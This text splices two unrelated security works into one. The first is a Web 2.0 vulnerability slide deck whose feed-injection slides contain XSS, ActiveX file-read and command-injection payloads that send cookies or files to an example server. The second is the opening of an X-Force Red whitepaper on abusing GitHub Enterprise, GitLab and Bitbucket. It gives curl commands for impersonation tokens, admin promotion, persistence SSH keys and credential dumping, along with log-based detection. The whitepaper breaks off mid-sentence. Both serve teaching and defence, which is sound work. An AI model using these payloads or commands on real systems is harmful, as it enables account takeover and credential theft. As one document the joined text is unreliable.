version="1.0"?> <rss version="2.0”> <channel> <title>Ninja News</title> <link>http://examplesite.com</link> <description>News for the discerning ninja</description> <language>en-us</language> <pubDate>Wed, 10 Jun 2009 09:22:00 GMT</pubDate> <lastBuildDate>Fri, 12 Jun 2009 09:13:09 GMT</lastBuildDate> <docs>http://examplesite.com/blah</docs> <generator>Editor 2</generator> <managingEditor>[email protected]</managingEditor> <webMaster>[email protected]</webMaster> <ttl>5</ttl> Feed Injections Feed Injections Remote Zone Risks • Web browsers or web based readers in this category • Attacks such as XSS and CSRF possible <item> <title><script>document.location=‘http://examplesite.com/cgi- bin/cookiemonster.cgi?’+document.cookie</script></title> <link>http://example.com/news/ninja</link> <description>This news is great!</description> <pubDate>Fri, 12 Jun 2009 11:42:28 GMT</pubDate> <guid>http://examplesite.com/2009/06/12.html#item1</guid> </item> </channel> </rss> Feed Injections <item> <title>&lt;script&gt;document.location=‘http://examplesite.com/cgi- bin/cookiemonster.cgi?’+document.cookie&lt;/script&gt;</title> <link>http://example.com/news/ninja</link> <description>This news is great!</description> <pubDate>Fri, 12 Jun 2009 11:42:28 GMT</pubDate> <guid>http://examplesite.com/2009/06/12.html#item1</guid> </item> </channel> </rss> Feed Injections Feed Injections Local Zone Risks • The feed is written to a local HTML file • If a vuln exists you can read from the file system • When reading this file the reader is in the local context <script> txtFile="";theFile="C:\\secrets.txt"; var thisFile = new ActiveXObject("Scripting.FileSystemObject"); var ReadThisFile = thisFile.OpenTextFile(theFile,1,true); txtFile+= ReadThisFile.ReadAll(); ReadThisFile.Close(); alert(txtFile); document.location=‘http://examplesite.com/cgi-bin/filemonster.cgi?’+ txtFile </script> Feed Injections Yassr 0.2.2 vulnerability • GUI.pm failed to sanitise URL’s correctly • URL then used in exec() to launch browser <rss version="2.0"> <channel> <title>test feed</title> <item> <title>test post - create /tmp/created_file</title> <link>http://www.examplesite.com";perl -e "print 'could run anything here' " >"/tmp/created_file</link> <pubDate>Fri, 26 Oct 2007 14:10:25 +0300</pubDate> </item> </channel> </rss> Feed Injections Credit to Duncan Gilmore who found this vulnerability How will this get worse? • Vulnerabilities in widely used readers and sites • Targeted data theft including key logging • Reconnaissance such as port scanning Feed Injections • New to Web 2.0? Yes Mashups and Widgets are core components in Web 2.0 sites. The rich functionality they provide can be exploited by attackers through attacks such as XSS and CSRF. Mashup and Widget Hacks Mashup and Widget Hacks http://fo.reca.st/BreakingNewsMap/ Mashup and Widget Hacks Mashups Mashups site is the middleman, do you trust it? Multiple inputs, one output Mashup communications could leak data Mashups require cross domain access, bye bye SOP Mashup and Widget Hacks http://www.google.com/ig Mashup and Widget Hacks Widgets Widgets developed and uploaded by anyone Component showing data such as news, share prices Shared DOM model means lack of separation Function hijacking and data theft possible • New to Web 2.0? No • Is this worse in Web 2.0? Yes Applications can unintentionally leak information about their configuration, internal workings, or violate privacy through a variety of application problems. Information Leakage Information Leakage A simple lack of error handling leaking information Microsoft OLE DB Provider for ODBC Drivers(0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name /examplesite/login.asp, line 10 http://www.examplesite.com/home.html?day=Monday I add a little something onto the URL http://www.examplesite.com/home.html?day=Monday AND userscolumn=2 No error handling = information leakage Information Leakage • What makes this worse in Web 2.0? • WSDL files contain information that can help attackers • Business logic and validation moved to the client side Information Leakage Reading WSDL files makes recon and fingerprinting easier Identify technologies being used, filetype:wsdl <!-- WSDL created by Apache Axis version: 1.2RC3 Built on Feb 28, 2005 (10:15:14 EST) --> <!-- WSDL created by Apache Axis version: 1.3 Built on Oct 05, 2005 (05:23:37 EDT) --> <!-- WSDL created by Apache Axis version: 1.4 Built on Apr 22, 2006 (06:55:48 PDT) --> <!-- WSDL file generated by Zend Studio. --> <!-- edited with XMLSpy v2005 rel. 3 U (http://www.xxxx.com) by blah (xxx) --> (edited to protect the innocent!) Information Leakage Profiling and attacking is easier when you get the info up front <xs:simpleType name="EmailType"> <xs:annotation> <xs:documentation>Email address</xs:documentation> </xs:annotation> <xs:restriction base="xs:string"> <xs:maxLength value="50"/> <xs:pattern value=".+@.+"/> </xs:restriction> </xs:simpleType> Information Leakage Web 2.0 apps will do a lot of work on the client side • MacWorld Conference found out the hard way in 2007 • Never assume sensitive data will be safe client side • You need to back these up with server side checks • Validation of data, business logic and sensitive data • Credit to Kurt Grutzmacher Information Leakage • New to Web 2.0? No • Is this worse in Web 2.0? Yes These flaws can lead to the hijacking of user or accounts, privilege escalation, undermine authorization and accountability controls, and cause privacy violations. Authentication and Authorisation Flaws Authentication and Authorisation Flaws • Authentication and Authorisation Weaknesses • Passwords with no max age, reasonable lengths and complexity • Lack of brute force protection • Broken CAPTCHA systems • Security through obscurity • Session Management Weaknesses • Lack of sufficient entropy in session ID’s • Predictable session ID’s • Lack of sufficient timeouts and maximum lifetimes for ID’s • Using one session ID for the whole session Authentication and Authorisation Flaws Facebook album security bypass • Predictable URL used for picture album access • 3 parameters used in the URL http://www.facebook.com/album.php?aid=-3&id=1508034566&l=aad9c • aid= (the album ID) • id= (the user ID) • l= (the unique value) http://securityninja.co.uk/blog/?p=198 Credit to David Rook ;-) Authentication and Authorisation Flaws Authentication and Authorisation Flaws Authentication and Authorisation Flaws Authentication and Authorisation Flaws • What makes this worse in Web 2.0? • CAPTCHA’s used to provide strong A+A but are often weak • More access points in Web 2.0 applications • The use of single sign on leads to single point of failure • Growth in other attacks further undermines A+A • New to Web 2.0? No • Is this worse in Web 2.0? Yes These flaws could allow sensitive data to be stolen if the appropriate strong protections aren’t in place. Insecure Storage and Communications Insecure Storage and Communications • Insecure storage of data • Not encrypting sensitive data • Hard coding of keys and/or insecurely storing keys • Using broken protection mechanisms (i.e. DES) • Failing to rotate and manage encryption keys • Insecure communications • Not encrypting sensitive data in transit • Only using SSL/TLS for the initial logon request • Failing to protect keys whilst in transit • Emailing clear text passwords Insecure Storage and Communications • What makes this worse in Web 2.0? • More data in more places, including client side storage • Mixing secure and insecure content on a page • More code and complexity in Web 2.0 apps Security analysis difficulties with Web 2.0 • At least two languages to analyse (client and server) • User supplied code might never be reviewed • Dynamic nature increases risk of missing flaws • Increased amount of input points How can you prevent these vulnerabilities? • Follow a small, repeatable set of principles • Try not to focus on specific vulnerabilities • Develop securely, not to prevent “hot vuln of the day” • Build security into the code, don’t try to bolt it on at the end • Input Validation – XSS, * Injection • Output Validation – XSS, * Injection, Encoding issues • Error Handling – Information Leakage • Authentication and Authorisation – Weak Access Control, Insufficient A+A, CSRF • Session Management – Timeouts, Strong Session ID’s, CSRF • Secure Communications – Strong Protection in Transit • Secure Storage – Strong Protection when Stored • Secure Resource Access – Restrict Access to Sensitive Resources, Admin Pages, File Systems The Secure Development Principles Review code for flaws Check for: Input Validation Error Handling Secure Storage etc, etc Try to hack it! Manual and automated tests Use tests defined in your threat model Secure Development Build security in Security is part of the apps DNA Plan to build security in Threat Model Design app to eliminate threats Code Review Security Testing Requirements Design Secure Development How can you prevent these vulnerabilities? 1 2 3 4 www.securityninja.co.uk www.securedevelopment.co.uk
pdf
PUBLIC 3/2/2022 Controlling the Source: Abusing Source Code Management Systems Brett Hawkins Adversary Simulation, IBM X-Force Red X-Force Red | 3/2/2022 2 Document Tracking Data Classification: PUBLIC Version Date Author Notes 1.0 3/2/2022 Brett Hawkins Release X-Force Red | 3/2/2022 3 TABLE OF CONTENTS ABSTRACT............................................................................................................................. 5 BACKGROUND ...................................................................................................................... 6 SOURCE CONTROL VS. VERSION CONTROL ............................................................................... 6 SOURCE CONTROL VS. SOURCE CODE MANAGEMENT ................................................................ 6 SOURCE CODE MANAGEMENT SYSTEMS ........................................................................... 6 POPULAR SCM SYSTEMS ....................................................................................................... 7 SCM SYSTEMS AND THE DEVOPS PIPELINE ............................................................................. 7 SOFTWARE SUPPLY CHAIN ATTACKS ....................................................................................... 8 LATERAL MOVEMENT TO OTHER DEVOPS SYSTEMS ................................................................... 9 GITHUB ENTERPRISE ........................................................................................................20 BACKGROUND ....................................................................................................................20 ATTACK SCENARIOS ............................................................................................................22 GITLAB ENTERPRISE .........................................................................................................49 BACKGROUND ....................................................................................................................49 ATTACK SCENARIOS ............................................................................................................51 BITBUCKET .........................................................................................................................74 BACKGROUND ....................................................................................................................74 ATTACK SCENARIOS ............................................................................................................78 SCMKIT................................................................................................................................94 BACKGROUND ....................................................................................................................94 RECONNAISSANCE ..............................................................................................................94 PRIVILEGE ESCALATION ......................................................................................................97 PERSISTENCE .....................................................................................................................98 X-Force Red | 3/2/2022 4 DEFENSIVE CONSIDERATIONS...................................................................................... 102 SCMKIT ......................................................................................................................... 102 GITHUB ENTERPRISE ....................................................................................................... 103 GITLAB ENTERPRISE ........................................................................................................ 105 BITBUCKET ..................................................................................................................... 107 CONCLUSION ................................................................................................................... 109 ACKNOWLEDGMENTS ..................................................................................................... 110 APPENDIX A: TABLE OF SCM ATTACK SCENARIOS...................................................... 111 X-Force Red | 3/2/2022 5 Abstract Source Code Management (SCM) systems play a vital role within organizations and have been an afterthought in terms of defenses compared to other critical enterprise systems such as Active Directory. SCM systems are used in the majority of organizations to manage source code and integrate with other systems within the enterprise as part of the DevOps pipeline, such as CI/CD systems like Jenkins. These SCM systems provide attackers with opportunities for software supply chain attacks and can facilitate lateral movement and privilege escalation throughout an organization. This whitepaper will review a background on SCM systems, along with detailing ways to abuse some of the most popular SCM systems such as GitHub Enterprise, GitLab Enterprise and Bitbucket to perform various attack scenarios. These attack scenarios include reconnaissance, manipulation of user roles, repository takeover, pivoting to other DevOps systems, user impersonation and maintaining persistent access. X-Force Red’s source code management attack toolkit (SCMKit) will also be shown to perform and facilitate these attacks. Additionally, defensive guidance for protecting these SCM systems will be outlined. X-Force Red | 3/2/2022 6 Background There are many ways to interact with and track source code, along with compiled source code assets. Some of the common terms used in this process are source control, version control and source code management. SOURCE CONTROL VS. VERSION CONTROL The terms “source control” and “version control” are often used interchangeably with each other. However, there are differences between these two terms. Source control is specifically for tracking changes in source code, whereas version control also includes tracking changes for binary files and other file types. An example of this would be version control tracking changes to compiled executables, whereas source control would be tracking the changes to the underlying C# or C++ source files that were compiled into that executable. Git is a popular source control tool, and Subversion is a popular version control tool. SOURCE CONTROL VS. SOURCE CODE MANAGEMENT As previously mentioned, source control is in relation to tracking changes in source code. To use source control in a practical manner as part of the development process, source code management (SCM) systems are used. These systems allow tracking changes to source code repositories and allow developers to resolve conflicts when merging code commits from multiple people concurrently. Source Code Management Systems SCM systems provide a way for multiple team members to work on the same source code files simultaneously, along with keeping track of file history changes and resolving conflicts within source code files. There will typically be some type of user interface for users to interact with. Some of these SCM systems are more popular than others and have been adopted by enterprises, as they integrate into the development process in a more reliable manner. These SCM systems can be abused to facilitate software supply chain attacks1 and lateral movement within an organization. 1 https://www.cisa.gov/publication/software-supply-chain-attacks X-Force Red | 3/2/2022 7 POPULAR SCM SYSTEMS A few of the more popular SCM systems that are used within enterprises are GitHub Enterprise2, GitLab Enterprise3 and Bitbucket4. These systems have different hosting options, as they can be hosted on-premise or in the cloud. They support Git source control and have multiple tiering models in terms of purchasing and setup. Additionally, these SCM systems support integration with other systems to help facilitate a DevOps pipeline5. SCM SYSTEMS AND THE DEVOPS PIPELINE SCM systems are heavily used during the “build” phase of a project in the DevOps pipeline as shown in the below diagram. All other phases depend on the source code that is developed and maintained within the SCM system. DevOps Pipeline Diagram6 2 https://github.com/enterprise 3 https://about.gitlab.com/enterprise/ 4 https://bitbucket.org/product/ 5 https://www.redhat.com/architect/devops-cicd 6 https://medium.com/aws-cyber-range/secdevops-101-strengthen-the-basics-20f57197aa1c X-Force Red | 3/2/2022 8 Once a source code project is ready to be compiled and built, it will get pushed to a Continuous Integration (CI) server. After that, it will be tested, scanned, and deployed for use in production. DevOps Diagram7 SOFTWARE SUPPLY CHAIN ATTACKS An attack that has been gaining popularity recently is software supply chain attacks8. In this attack, an attacker injects itself into the development process at one of the phases to deploy malicious code into production. This is typically performed in the “build” phase. For organizations that provide software to other organizations, this can enable the compromise of multiple organizations. One of the most notable software supply chain attacks was the SolarWinds breach9, which impacted many organizations in the private and public sector. The below diagram shows the opportunities an attacker has during the development process to implement a software supply chain attack. The research in this whitepaper focuses on the highlighted areas of “B” and “C”, as it relates to the compromise of SCM systems. However, the compromise of these SCM systems can also lead to other scenarios such as “D” where an attacker can use an SCM system to compromise a build platform system. 7 https://devops.com/the-basics-devsecops-adoption 8 https://www.crowdstrike.com/cybersecurity-101/cyberattacks/supply-chain-attacks/ 9 https://www.mandiant.com/resources/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with- sunburst-backdoor X-Force Red | 3/2/2022 9 Software Supply Chain Attack Opportunity Diagram10 LATERAL MOVEMENT TO OTHER DEVOPS SYSTEMS SCM systems can be used as an initial access point to other DevOps systems that are used in different phases of the DevOps lifecycle. Being able to pivot to the build system to compromise the CI/CD platform or pivoting to the package repository system to compromise the distribution platform are other scenarios where an attacker could perform a software supply chain attack. SCM Platform to CI/CD Platform One scenario where an attacker could laterally move from an SCM platform is to target the CI/CD platform. In this example, we will look at a scenario of performing lateral movement from the Bitbucket SCM system to the Jenkins build system11. When using Jenkins, you can provide a Jenkinsfile12, which is used as a configuration file of a Jenkins pipeline13. This file can be checked into an SCM system, and is what Jenkins uses to perform various actions as part of the build process. An attacker who has gained access to an SCM system will first need to discover any repositories that contain any files named “Jenkinsfile”. In this scenario, an attacker would need write access to the discovered repositories to modify the Jenkinsfile. In Bitbucket, this can be performed via the web interface or REST API. 10 https://opensource.googleblog.com/2021/10/protect-your-open-source-project-from-supply-chain-attacks.html 11 https://www.jenkins.io/ 12 https://www.jenkins.io/doc/book/pipeline/jenkinsfile/ 13 https://www.jenkins.io/doc/book/pipeline/ X-Force Red | 3/2/2022 10 Searching for Jenkins pipeline configuration file An attacker could simply modify the file to perform some malicious action, or they could be more targeted and perform reconnaissance in Jenkins to discover which Jenkins job is using these discovered files from Bitbucket. In the following example, an attacker has identified the Jenkins job using the “Cred-Decryption” Bitbucket repository as shown below. X-Force Red | 3/2/2022 11 Jenkins job Git build data To successfully authenticate to the Jenkins system via SSH, an attacker could add an SSH key under their control to the SSH directory for the Jenkins user account. An example of the Jenkinsfile modification in Bitbucket is shown below. X-Force Red | 3/2/2022 12 Snippet of code added Alternatively, an attacker could also wait for the Jenkins job to run on its own at its normal schedule or trigger the job themselves. One option is to use the Jenkins web interface to run the pipeline or via the Jenkins Remote Access API14 as shown in the example command below. curl -X POST https://Username:[email protected]:jenkinsPort/job/JobName /job/master/build Once the Jenkins job has been triggered manually or via an automated schedule, the output below shows the updated job output where the updated code in the Bitbucket hosted Jenkinsfile ran. The Jenkins job was able to successfully add the attacker’s SSH key to the Jenkins server. 14 https://www.jenkins.io/doc/book/using/remote-access-api/ X-Force Red | 3/2/2022 13 Viewing Jenkins build information At this point, an attacker can now SSH to the Jenkins server using the SSH key under their control, as shown below. This allows the attacker to access the Jenkins server as the Jenkins user account, which gives the attacker the ability to perform various actions, such as extracting all passwords saved within the Jenkins server. X-Force Red | 3/2/2022 14 Successfully authenticating to Jenkins server via SSH This example has shown one method where an attacker could pivot from an SCM platform to a CI/CD platform such as Jenkins. SCM Platform to Distribution Platform Another scenario where an attacker could laterally move from an SCM platform is to target the distribution platform. In this example, we will look at a scenario of performing lateral movement from the GitLab Enterprise SCM system to the Artifactory packaging system. An attacker will need to identify any repositories that contain GitLab Runners15 they can access using a compromised account. A GitLab Runner is an application that runs jobs in a GitLab CI/CD pipeline. From an attacker perspective, these runners can be thought of as agents that can run on servers to execute system commands. Being able to control the CI/CD agent would allow potential compromise of the server that the agent runs on or any assets it interacts with. In the web interface, you can view whether a GitLab Runner is in use via the “CI/CD Settings” in a repository as shown below. 15 https://docs.gitlab.com/runner/ X-Force Red | 3/2/2022 15 Listing repository with GitLab Runner configured This can also be identified via the GitLab Runners API16. An example command is shown below to get a listing of all runners that are available to the user being authenticated as. curl --header "PRIVATE-TOKEN: apiToken" https://gitlabHost/api/v4/runners 16 https://docs.gitlab.com/ee/api/runners.html X-Force Red | 3/2/2022 16 Getting list of runners our user can access Once an attacker has a listing of the runners available, they need to determine which repository the runners are being used on. This can be performed using the below example request by passing the runner ID at the end of the request. curl --header "PRIVATE-TOKEN: apiToken" https://gitlabHost/api/v4/runners/RunnerIDNumber | python -m json.tool | grep -i http_url_to_repo Getting repos associated with GitLab runners Now that an attacker has identified they have access to a runner within a repository, they can modify the CI configuration file17. This by default is named “.gitlab-ci.yml”. In the below example, the CI configuration file is modified to print the Artifactory username and password to the console that was being used as a part of this CI/CD pipeline. 17 https://docs.gitlab.com/ee/ci/yaml/ X-Force Red | 3/2/2022 17 Modifying CI configuration file After a CI configuration file is modified, it immediately triggers the pipeline to run with the new instructions that are given. When viewing the job that ran via the pipeline, you can see the Artifactory credentials have been displayed on the console. X-Force Red | 3/2/2022 18 Showing job output Next, those credentials are used to access the Artifactory system. X-Force Red | 3/2/2022 19 Proving access to Artifactory This successfully shows one method where an attacker could pivot from an SCM system to a distribution platform such as Artifactory. X-Force Red | 3/2/2022 20 GitHub Enterprise GitHub Enterprise is a popular SCM system used by organizations. In this section, there will be an overview of common terminology, the access model and API capabilities of GitHub Enterprise. Additionally, attack scenarios against GitHub Enterprise will be shown, along with how these attacks can be detected in system logs. BACKGROUND Terminology In GitHub Enterprise, a key use of terminology is the use of “enterprise” and “organization”. The term “enterprise” refers to the entire GitHub Enterprise instance. One to many organizations can be contained within an enterprise, and the enterprise manages all organizations. A fully detailed list of common terminology used in GitHub Enterprise can be found at this resource18. Access Model Access Levels Users that have access to GitHub Enterprise are all members of the enterprise by default. The two primary enterprise roles are “Enterprise owner” and Enterprise member”. Enterprise owners can manage organizations in the enterprise, administrators, enterprise settings and enforce policy across organizations. Enterprise members are members of organizations that are owned by the enterprise and can collaborate in their assigned organization. Enterprise members cannot access or configure enterprise settings. Details on these enterprise roles can be found at this resource19. Within an organization, there are different roles as well. There are five main organization roles listed below. A detailed listing of organizations actions for these roles, along with a description of these roles can be found at this resource20. • Organization Owners • Organizations Members • Security Managers 18 https://docs.github.com/en/[email protected]/get-started/quickstart/github-glossary 19 https://docs.github.com/en/[email protected]/admin/user-management/managing-users-in-your- enterprise/roles-in-an-enterprise 20 https://docs.github.com/en/[email protected]/organizations/managing-peoples-access-to-your- organization-with-roles/roles-in-an-organization X-Force Red | 3/2/2022 21 • GitHub App Managers • Outside Collaborators There are also different roles that can be assigned for repositories within an organization. Five key repository roles are listed below. A detailed listing of repository actions for these roles, along with a description of these roles can be found at this resource21. • Read • Triage • Write • Maintain • Admin Access Token Scopes When assigning an API access token, there are multiple options for permissions to assign to that access token. In GitHub Enterprise, these are called “scopes”. These scopes determine whether the access token has access to repositories, SSH keys, users, and many other facets. A full and detailed listing of all available access token scopes in GitHub Enterprise is listed at this resource22. API Capabilities The GitHub Enterprise REST API enables a user to perform several actions such as interacting with repositories, access tokens, SSH keys and more. Administrative actions can also be performed via the REST API. Full documentation on the REST API is available at this resource23. 21 https://docs.github.com/en/[email protected]/organizations/managing-access-to-your-organizations- repositories/repository-roles-for-an-organization 22 https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps#available-scopes 23 https://docs.github.com/en/[email protected]/rest/guides/getting-started-with-the-rest-api X-Force Red | 3/2/2022 22 ATTACK SCENARIOS The below scenarios are notable for an attacker to attempt against GitHub Enterprise and have been useful as a part of X-Force Red’s Adversary Simulation engagements. This is not an exhaustive list of every single attack path available to execute on GitHub Enterprise. The below table summarizes the attack scenarios that will be described. Attack Scenario Sub-Scenario Admin Required? Reconnaissance -Repository -File -Code No Repository Takeover N/A Yes User Impersonation -Impersonate User Login -Impersonation Token Yes Promoting User to Site Admin N/A Yes Maintain Persistent Access -Personal Access Token -Impersonation Token -SSH Key No Yes No Management Console Access N/A Yes Table of GitHub Enterprise Attack Scenarios Reconnaissance The first step an attacker will take once access has been gained to a GitHub Enterprise instance is to start performing reconnaissance. Reconnaissance that could be of value to an attacker includes searching for repositories, files, and code of interest. Repository Reconnaissance An attacker may be looking for repositories that deal with a particular application or system. In this case, we are searching for “locat” to look for repositories with that search term in the name. X-Force Red | 3/2/2022 23 Searching for repositories via web interface Another option available to an attacker to search for a repository is via the Search REST API24 as shown with the below example curl command. curl -i -s -k -X $'GET' -H $'Content-Type: application/json' -H $'Authorization: Token apiKey' $'https://gheHost/api/v3/search/repositories?q=searchTerm' Search result for search repositories API File Reconnaissance 24 https://docs.github.com/en/[email protected]/rest/reference/search#search-repositories X-Force Red | 3/2/2022 24 There may also be certain files of interest to an attacker based on file name. For example, maybe a file with “decrypt” in the file name. In this example, we are searching for Jenkins CI configuration files with the search term “jenkinsfile in:file”. Searching for file via web interface Another option available to an attacker to search for a file is via the Search REST API25 as shown with the below example curl command. curl -i -s -k -X $'GET' -H $'Content-Type: application/json' -H $'Authorization: Token apiToken' $'https://gheHost/api/v3/search/commits?q=searchTerm' Searching result for search commits API Code Reconnaissance A primary area of interest for an attacker is searching for secrets within code, such as passwords or API keys. Code can be searched for a given search term via the web interface as shown below. 25 https://docs.github.com/en/[email protected]/rest/reference/search#search-commits X-Force Red | 3/2/2022 25 Searching code via web interface Searching for secrets within code can also be accomplished via the Search REST API26 as shown with the below example curl command. curl -i -s -k -X $'GET' -H $'Content-Type: application/json' -H $'Authorization: Token apiToken' $'https://gheHost/api/v3/search/code?q=searchTerm' Searching result for code search API 26 https://docs.github.com/en/[email protected]/rest/reference/search#search-code X-Force Red | 3/2/2022 26 Logging of Reconnaissance Search requests for files, repositories and code within GitHub Enterprise are logged in the haproxy log file (/var/log/haproxy.log) as shown below. These logs should be forwarded to a Security Information and Event Management (SIEM) system, where they can be ingested, and alerts built from them for anomalous activity. cat /var/log/haproxy.log | grep -i '/search\|/api/v3/search' | cut -d ' ' -f6,7,20-22 | grep -i http Viewing reconnaissance results in haproxy log Repository Takeover Using site admin access, an attacker can give themselves write access to any repository within GitHub Enterprise. In the below example, we are attempting to view a repository that our compromised site admin user (adumbledore) does not have access to. Viewing locked repository X-Force Red | 3/2/2022 27 Using site admin access, you can choose to unlock the repository via the “Unlock” button shown below. This will unlock the repository for the user for two hours by default. Viewing screen to unlock repository You must provide a reason to unlock the repository, and this reason is logged along with the request. Adding reason to unlocking repository Now you can see we have successfully unlocked the repository, and it is unlocked for two hours for the adumbledore user account. X-Force Red | 3/2/2022 28 Showing repository has been unlocked Then the repository can be accessed, and code can be modified within that repository as shown below. Accessing repository after unlock There is an entry in the audit log for this, and it categorizes it as a “repo.staff_unlock” action. This can be searched via the query “action:repo.staff_unlock”. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github- audit.log. X-Force Red | 3/2/2022 29 Showing audit log entry for unlocking repository User Impersonation There are a couple options an attacker has if they have administrative access to GitHub Enterprise and would like to impersonate another user. The first option is to impersonate a user login via the web interface, and the second option is to create an impersonation token. Impersonate User Login When viewing a user via the site admin console, there is an impersonation section at the bottom. You will click the “Sign in to GitHub as @user” button. X-Force Red | 3/2/2022 30 Viewing user information for hpotter Next, you need to provide a reason why you are wanting to perform an impersonation login as another user. The user who is being impersonated will receive an email notification as stated. X-Force Red | 3/2/2022 31 Beginning impersonation You will then be logged in as the user you are impersonating. In this case, we used the adumbledore user to impersonate the hpotter user. Showing impersonation There is an entry in the audit log for this impersonation activity, as it categorizes it as a “staff.fake_login” action. This can be searched via the query “action:staff.fake_login”. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github-audit.log. X-Force Red | 3/2/2022 32 Showing audit log entry for user impersonation Impersonation Token Another stealthier option for an attacker to impersonate a user is by creating an impersonation token. This can be performed via the Enterprise Administration REST API27 as shown with the below example curl command. curl -i -s -k -X $'POST' -H $'Content-Type: application/json' -H $'Authorization: Token apiToken' --data-binary $'{\"scopes\":[\"repo\",\"admin:org\",\"admin:public_key\",\"admin:org 27 https://docs.github.com/en/[email protected]/rest/reference/enterprise-admin#create-an-impersonation- oauth-token X-Force Red | 3/2/2022 33 _hook\",\"admin:gpg_key\",\"admin:enterprise\"]}' $'https://gheHost/api/v3/admin/users/userToImpersonate/authorizations' This will output the impersonation token to the console as shown below. Creating user impersonation token We can see the impersonation token listed via the site admin console. The user being impersonated will not be able to see this impersonation token. Only site admins will be able to see this impersonation token. X-Force Red | 3/2/2022 34 Listing hpotter impersonation token There is an entry in the audit log for this, as it categorizes it as a “oauth_access.create” action followed by a subsequent “oauth_authorization.create” action. This can be searched via the query “action:oauth_access.create OR action:oauth_authorization.create”. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github-audit.log. X-Force Red | 3/2/2022 35 Showing audit log entry for impersonation token creation: Promoting User to Site Admin An attacker who has site admin credentials (username/password or API key) can promote another regular user to the site admin role. One option to perform this is via the GitHub Enterprise web interface. Press the “Add owner” button as shown below. X-Force Red | 3/2/2022 36 Viewing administrators in Hogwarts organization The user who was added as a site admin in this case is the hpotter user as shown below. Showing hpotter user added to site admins Another option for an attacker to promote a user to site admin is via the Enterprise Administration REST API28 as shown with the below example curl command. If successful, you should receive an HTTP 204 status code. curl -i -s -k -X $'PUT' -H $'Content-Type: application/json' -H $'Authorization: Token apiToken' $'https://gheHost/api/v3/users/userToPromote/site_admin' There is an entry in the audit log for this, as it categorizes it as a “action:business.add_admin” action followed by a subsequent “action:user.promote” action. This can be searched via the query “action:user.promote OR 28 https://docs.github.com/en/[email protected]/rest/reference/enterprise-admin#promote-a-user-to-be-a- site-administrator X-Force Red | 3/2/2022 37 action:business.add_admin”. You can see in the audit log that it clarifies whether the action was performed via the API. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github-audit.log. Audit log entry for user promotion Maintain Persistent Access An attacker has a few primary options in terms of maintaining persistent access to GitHub Enterprise. This can be performed either by creating a personal access token, impersonation token, or adding a public SSH key. Personal Access Token The first option is creating a personal access token. This can only be performed via the web interface and is not supported via the GitHub Enterprise REST API. This can be performed by first going to a user’s “Developer Settings” menu and pressing the “Generate new token” button. X-Force Red | 3/2/2022 38 Viewing developer settings of user The next page will allow you to specify the name of the token, expiration and scopes. Access tokens with no expiration date should be questioned. Creating personal access token X-Force Red | 3/2/2022 39 After the token has been created, it will display the value one time to the user to be copied. This will be the actual authentication token value used. Viewing created personal access token value We can now see our “persistence-token” listed in the user’s personal access token settings. Viewing all personal access tokens for hpotter user There is an entry in the audit log for this, as it categorizes it as a “oauth_access.create” action followed by a subsequent “oauth_authorization.create” action. This can be searched via the query “action:oauth_access.create OR action:oauth_authorization.create”. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github-audit.log. X-Force Red | 3/2/2022 40 Viewing audit log for personal access token creation Impersonation Token If an attacker has site admin privileges in GitHub Enterprise, they can create an impersonation token for any user they would like. This is a much stealthier option in terms of maintaining access to GitHub Enterprise. This process and details were previously covered in the “User Impersonation” section. SSH Key X-Force Red | 3/2/2022 41 Another option that an attacker has for maintaining persistent access to GitHub Enterprise is via an SSH key. You can view the available SSH keys and add SSH keys for a user in their account settings. Viewing SSH keys for hpotter You will need to add a title and the value of the public SSH key as shown below. Adding public ssh key for hpotter X-Force Red | 3/2/2022 42 As you can see, our public SSH key has been created for the hpotter user account. Viewing public SSH key added for hpotter An attacker can also create a public SSH key via the Users REST API29 as shown with the below example curl command. If successful, you should get an HTTP 201 status code. When performing this request via a personal access token, it requires the “write:public_key” permission in the scope of the personal access token. Additionally, this SSH key cannot exist for any other user. Users cannot share the same public SSH key. curl -i -s -k -X $'POST' -H $'Content-Type: application/json' -H $'Authorization: Token apiToken' --data-binary $'{"key":"pubSSHKey"}' $'https://gheHost/api/v3/user/keys' 29 https://docs.github.com/en/[email protected]/rest/reference/users#create-a-public-ssh-key-for-the- authenticated-user X-Force Red | 3/2/2022 43 Retrieving details of SSH key added via REST API You can see the SSH key was added via the REST API for the hgranger user account as shown below. Viewing created public SSH key for hgranger The private SSH key associated with the public SSH key added can now be used to clone repositories within GitHub Enterprise. X-Force Red | 3/2/2022 44 Cloning repository via SSH key There is an entry in the audit log for this, as it categorizes it as a “public_key.create” action followed by a subsequent “public_key.verify” action. This can be searched via the query “action:public_key.create OR action:public_key.verify”. This can also be queried for in the audit logs on the GitHub Enterprise server in /var/log/github- audit.log. Viewing audit log entries for public SSH keys created X-Force Red | 3/2/2022 45 Management Console Access In addition to the site admin console, there is also a management console within GitHub Enterprise. This console can be accessed via a single, shared password, and can be accessed via https://gheHost/setup. An example of the login page is shown below. Management console One aspect that could be of interest to an attacker is adding their SSH key, so that they can SSH to the management console. This can be performed as shown below. X-Force Red | 3/2/2022 46 Adding public SSH key For SSH access to the management console, the default username is “admin” and default SSH port is 122. Once an SSH key has been added to the management console, you can SSH to it as shown below. X-Force Red | 3/2/2022 47 Authenticating to management console via SSH Using SSH access to the management console, you can view the GitHub Enterprise config via the “ghe-config -l” command. An example command that can be used to list credentials is shown below. In this example, the GitHub Enterprise instance is setup to sync with Active Directory. Other credentials such as SMTP for example may be listed in this configuration file. For a full listing of commands available in the management console via SSH, see this resource30. ghe-config -l | grep -i 'password\|ldap\|user' 30 https://docs.github.com/en/[email protected]/admin/configuration/configuring-your- enterprise/command-line-utilities X-Force Red | 3/2/2022 48 Searching configuration file for credentials The addition of the SSH key in the management console is not documented in the audit log. However, it is logged in the below management log file (/var/log/enterprise- manage/unicorn.log). cat /var/log/enterprise-manage/unicorn.log | grep -i authorized-keys | grep -i post Searching for adding SSH keys via management console Another file of interest via SSH access to the GitHub Enterprise server is the secrets configuration file (/data/user/common/secrets.conf) as it will also contain multiple different types of credentials including private SSH keys and API keys for example. X-Force Red | 3/2/2022 49 GitLab Enterprise GitLab Enterprise is another popular SCM system used by organizations. In this section, there will be an overview of common terminology, the access model and API capabilities of GitLab Enterprise. Additionally, attack 